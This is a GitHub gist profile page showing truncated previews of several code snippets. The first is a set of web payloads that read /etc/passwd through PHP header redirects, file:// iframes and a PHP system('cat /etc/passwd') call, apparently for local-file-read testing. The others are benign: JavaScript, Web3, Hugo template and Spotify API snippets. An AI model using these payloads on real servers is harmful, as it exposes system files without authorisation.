Skip to content

Instantly share code, notes, and snippets.

View loganbek's full-sized avatar
😇
wOrk wOrk

Logan Bek loganbek

😇
wOrk wOrk
View GitHub Profile
<!DOCTYPE html>
<html>
<body>
<h1>Passwd</h1>
<?php
header('location:file:///etc/passwd');
?>
</body>
</html>
<html>
<body>
<h1>/etc/passwd</h1>
<iframe src="file:///etc/passwd" width="100%" height="800"></iframe>
</body>
</html>
<iframe src="file:///etc/passwd"></iframe>
<pre>
<?php system('cat /etc/passwd'); ?>
</pre>
<html>
<body>
<h1>/etc/passwd</h1>
<iframe src="file:///etc/passwd" width="100%" height="800"></iframe>
</body>
</html>
@loganbek
loganbek / fuzzySearch.js
Created November 17, 2022 18:00 — forked from Maybach91/fuzzySearch.js
Simple Fuzzy Search Vanilla Javascript #fuzzysearch #javascript
// Source: https://slimvoice.co/static/js/client_select.js
// Referenced by Owner at https://dev.to/winduptoy/a-javascript-free-frontend-2d3e
const clientSelects = document.querySelectorAll('.clientsSelect__client');
const emptyMessage = document.getElementById('clientsSelect__noneFound');
const clientNames = [];
clientSelects.forEach(function(el) { clientNames.push(el.dataset.clientName); });
function fuzzySearch(query, dataset) {
const q = query ? query.trim().toLowerCase() : '';
import Web3 from "web3";
import { abi as IUniswapV2Pair } from "@uniswap/v2-core/build/IUniswapV2Pair.json";
import { BigNumber } from "bignumber.js";
import { ChainId, Token, WETH, Fetcher, Route } from "@uniswap/sdk";
// Create a new Web3 Instance
const web3 = new Web3(window.ethereum);
// Replace the addresses to point to your Farming Contract
// and LP Token Contract on the desired network
{{ if .IsNamedParams }}
<video src="{{ .Get "src" }}" poster="{{ .Get "poster" }}" autoplay loop playsinline>
Sorry, your browser doesn't support embedded videos, but don't worry, you can
<a href="{{ .Get "src" }}">download it</a>
and watch it with your favorite video player!
</video>
{{ else }}
<video src="{{ .Get 0}}">
Sorry, your browser doesn't support embedded videos, but don't worry, you can
<a href="{{ .Get 0}}">download it</a>
@loganbek
loganbek / removeCharAt.js
Created May 21, 2021 16:19
JS String removeChatAt()    
String.prototype.removeCharAt = function (i) {
var tmp = this.split(''); // convert to an array
tmp.splice(i - 1 , 1); // remove 1 element from the array (adjusting for non-zero-indexed counts)
return tmp.join(''); // reconstruct the string
}
console.log("crt/r2002_2".removeCharAt(4));
(async () => {
console.log(await (await fetch("https://accounts.spotify.com/api/token", {
method:"POST",
headers:{"Content-Type":"application/x-www-form-urlencoded"},
body:new URLSearchParams({
grant_type:"authorization_code",
redirect_uri:"https://localhost",
client_id:"********",
client_secret:"********",
code:"********",